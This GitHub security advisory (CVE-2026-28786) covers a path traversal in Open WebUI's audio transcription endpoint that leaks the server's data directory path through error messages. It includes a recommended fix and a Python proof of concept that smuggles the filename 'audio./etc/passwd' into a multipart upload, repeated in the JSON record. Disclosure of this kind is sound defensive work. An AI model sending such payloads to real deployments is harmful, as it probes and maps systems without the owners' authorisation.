GHSA-VVXM-VXMR-624H
Vulnerability from github – Published: 2026-03-27 15:29 – Updated: 2026-03-27 15:29Summary
An unsanitised filename field in the speech-to-text transcription endpoint allows any authenticated non-admin user to trigger a FileNotFoundError whose message — including the server's absolute DATA_DIR path — is returned verbatim in the HTTP 400 response body, confirming information disclosure on all default deployments.
Details
backend/open_webui/routers/audio.py:1197 extracts a file extension from the raw multipart filename using file.filename.split(".")[-1] with no path sanitisation. The result is concatenated into a filesystem path and passed to open():
ext = file.filename.split(".")[-1] # attacker-controlled, no sanitisation
filename = f"{id}.{ext}" # may contain "/"
file_path = f"{file_dir}/{filename}"
with open(file_path, "wb") as f:
f.write(contents)
If the filename is audio./etc/passwd, split(".")[-1] yields /etc/passwd and the assembled path becomes:
{CACHE_DIR}/audio/transcriptions/{uuid}./etc/passwd
open() fails with FileNotFoundError. The outer except block at line 1231 returns the exception via ERROR_MESSAGES.DEFAULT(e), leaking the full absolute path in the response body.
The MIME-type guard at line 1190 checks Content-Type (a separate multipart field) and does not constrain filename. Setting Content-Type: audio/wav satisfies the guard regardless of the filename value.
This handler is the only file upload path in the codebase that omits os.path.basename(). Both sibling handlers apply it explicitly:
# files.py:244
filename = os.path.basename(file.filename)
# pipelines.py:206
filename = os.path.basename(file.filename)
Recommended fix — match the existing pattern and suppress path leakage in errors:
# audio.py:1197 — sanitise extension
from pathlib import Path
safe_name = Path(file.filename).name
ext = Path(safe_name).suffix.lstrip(".") or "bin"
# audio.py:1231 — suppress internal path in error response
except Exception as e:
log.exception(e)
raise HTTPException(status_code=400, detail="Transcription failed.")
PoC
Requirements: a running Open WebUI instance and one standard (non-admin) user account.
docker run -d -p 3000:8080 --name owui-test ghcr.io/open-webui/open-webui:latest
# wait ~30 s, register a standard user at http://localhost:3000
pip install requests
import requests, sys
BASE_URL = "http://localhost:3000"
EMAIL = "user@example.com"
PASSWORD = "changeme"
token = requests.post(f"{BASE_URL}/api/v1/auths/signin",
json={"email": EMAIL, "password": PASSWORD},
timeout=10).json()["token"]
boundary = "----Boundary"
wav_stub = b"RIFF\x00\x00\x00\x00WAVE"
body = (
f'--{boundary}\r\nContent-Disposition: form-data; name="file"; '
f'filename="audio./etc/passwd"\r\nContent-Type: audio/wav\r\n\r\n'
).encode() + wav_stub + f"\r\n--{boundary}--\r\n".encode()
resp = requests.post(
f"{BASE_URL}/api/v1/audio/transcriptions",
data=body,
headers={"Authorization": f"Bearer {token}",
"Content-Type": f"multipart/form-data; boundary={boundary}"},
timeout=15,
)
print(resp.status_code, resp.text)
Observed output (live test, commit b8112d72b):
400 {"detail":"[ERROR: [Errno 2] No such file or directory:
'/app/backend/data/cache/audio/transcriptions/59457ccf-…./etc/passwd']"}
The absolute DATA_DIR path is confirmed. Filesystem structure can be enumerated by varying traversal depth and observing which error messages change.
Note on the write primitive: the traversal path includes a fresh UUID segment ({uuid}.) that never pre-exists as a directory, so open() is OS-blocked in all practical scenarios. The impact is information disclosure only.
Impact
Any authenticated, non-admin user on a default Open WebUI deployment can leak the server's absolute DATA_DIR filesystem path. The route is gated by get_verified_user — the lowest privilege tier — so every registered account is a potential attacker. Multi-tenant and shared deployments are most exposed.
AI Disclosure: Claude was used to draft this report and the PoC. The vulnerability was identified via manual static analysis of commit
b8112d72b. All code references were verified by the reporter, who accepts full responsibility for accuracy.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "open-webui"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.8.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-28786"
],
"database_specific": {
"cwe_ids": [
"CWE-209",
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-27T15:29:32Z",
"nvd_published_at": "2026-03-27T00:16:22Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nAn unsanitised filename field in the speech-to-text transcription endpoint allows any authenticated non-admin user to trigger a `FileNotFoundError` whose message \u2014 including the server\u0027s absolute `DATA_DIR` path \u2014 is returned verbatim in the HTTP 400 response body, confirming information disclosure on all default deployments.\n\n### Details\n\n`backend/open_webui/routers/audio.py:1197` extracts a file extension from the raw multipart `filename` using `file.filename.split(\".\")[-1]` with no path sanitisation. The result is concatenated into a filesystem path and passed to `open()`:\n\n```python\next = file.filename.split(\".\")[-1] # attacker-controlled, no sanitisation\nfilename = f\"{id}.{ext}\" # may contain \"/\"\nfile_path = f\"{file_dir}/{filename}\"\nwith open(file_path, \"wb\") as f:\n f.write(contents)\n```\n\nIf the filename is `audio./etc/passwd`, `split(\".\")[-1]` yields `/etc/passwd` and the assembled path becomes:\n\n```\n{CACHE_DIR}/audio/transcriptions/{uuid}./etc/passwd\n```\n\n`open()` fails with `FileNotFoundError`. The outer `except` block at line 1231 returns the exception via `ERROR_MESSAGES.DEFAULT(e)`, leaking the full absolute path in the response body.\n\nThe MIME-type guard at line 1190 checks `Content-Type` (a separate multipart field) and does not constrain `filename`. Setting `Content-Type: audio/wav` satisfies the guard regardless of the filename value.\n\nThis handler is the only file upload path in the codebase that omits `os.path.basename()`. Both sibling handlers apply it explicitly:\n\n```python\n# files.py:244\nfilename = os.path.basename(file.filename)\n\n# pipelines.py:206\nfilename = os.path.basename(file.filename)\n```\n\n**Recommended fix** \u2014 match the existing pattern and suppress path leakage in errors:\n\n```python\n# audio.py:1197 \u2014 sanitise extension\nfrom pathlib import Path\nsafe_name = Path(file.filename).name\next = Path(safe_name).suffix.lstrip(\".\") or \"bin\"\n\n# audio.py:1231 \u2014 suppress internal path in error response\nexcept Exception as e:\n log.exception(e)\n raise HTTPException(status_code=400, detail=\"Transcription failed.\")\n```\n\n---\n\n### PoC\n\n**Requirements:** a running Open WebUI instance and one standard (non-admin) user account.\n\n```bash\ndocker run -d -p 3000:8080 --name owui-test ghcr.io/open-webui/open-webui:latest\n# wait ~30 s, register a standard user at http://localhost:3000\npip install requests\n```\n\n```python\nimport requests, sys\n\nBASE_URL = \"http://localhost:3000\"\nEMAIL = \"user@example.com\"\nPASSWORD = \"changeme\"\n\ntoken = requests.post(f\"{BASE_URL}/api/v1/auths/signin\",\n json={\"email\": EMAIL, \"password\": PASSWORD},\n timeout=10).json()[\"token\"]\n\nboundary = \"----Boundary\"\nwav_stub = b\"RIFF\\x00\\x00\\x00\\x00WAVE\"\nbody = (\n f\u0027--{boundary}\\r\\nContent-Disposition: form-data; name=\"file\"; \u0027\n f\u0027filename=\"audio./etc/passwd\"\\r\\nContent-Type: audio/wav\\r\\n\\r\\n\u0027\n).encode() + wav_stub + f\"\\r\\n--{boundary}--\\r\\n\".encode()\n\nresp = requests.post(\n f\"{BASE_URL}/api/v1/audio/transcriptions\",\n data=body,\n headers={\"Authorization\": f\"Bearer {token}\",\n \"Content-Type\": f\"multipart/form-data; boundary={boundary}\"},\n timeout=15,\n)\nprint(resp.status_code, resp.text)\n```\n\n**Observed output (live test, commit `b8112d72b`):**\n\n```\n400 {\"detail\":\"[ERROR: [Errno 2] No such file or directory:\n\u0027/app/backend/data/cache/audio/transcriptions/59457ccf-\u2026./etc/passwd\u0027]\"}\n```\n\nThe absolute `DATA_DIR` path is confirmed. Filesystem structure can be enumerated by varying traversal depth and observing which error messages change.\n\n**Note on the write primitive:** the traversal path includes a fresh UUID segment (`{uuid}.`) that never pre-exists as a directory, so `open()` is OS-blocked in all practical scenarios. The impact is information disclosure only.\n\n---\n\n### Impact\nAny authenticated, non-admin user on a default Open WebUI deployment can leak the server\u0027s absolute `DATA_DIR` filesystem path. The route is gated by `get_verified_user` \u2014 the lowest privilege tier \u2014 so every registered account is a potential attacker. Multi-tenant and shared deployments are most exposed.\n\n\u003e **AI Disclosure:** Claude was used to draft this report and the PoC. The vulnerability was identified via manual static analysis of commit `b8112d72b`. All code references were verified by the reporter, who accepts full responsibility for accuracy.",
"id": "GHSA-vvxm-vxmr-624h",
"modified": "2026-03-27T15:29:32Z",
"published": "2026-03-27T15:29:32Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-vvxm-vxmr-624h"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28786"
},
{
"type": "WEB",
"url": "https://github.com/open-webui/open-webui/commit/387225eb8b3906909436004f84fff1b012e067d4"
},
{
"type": "PACKAGE",
"url": "https://github.com/open-webui/open-webui"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Open WebUI vulnerable to Path Traversal in `POST /api/v1/audio/transcriptions`"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.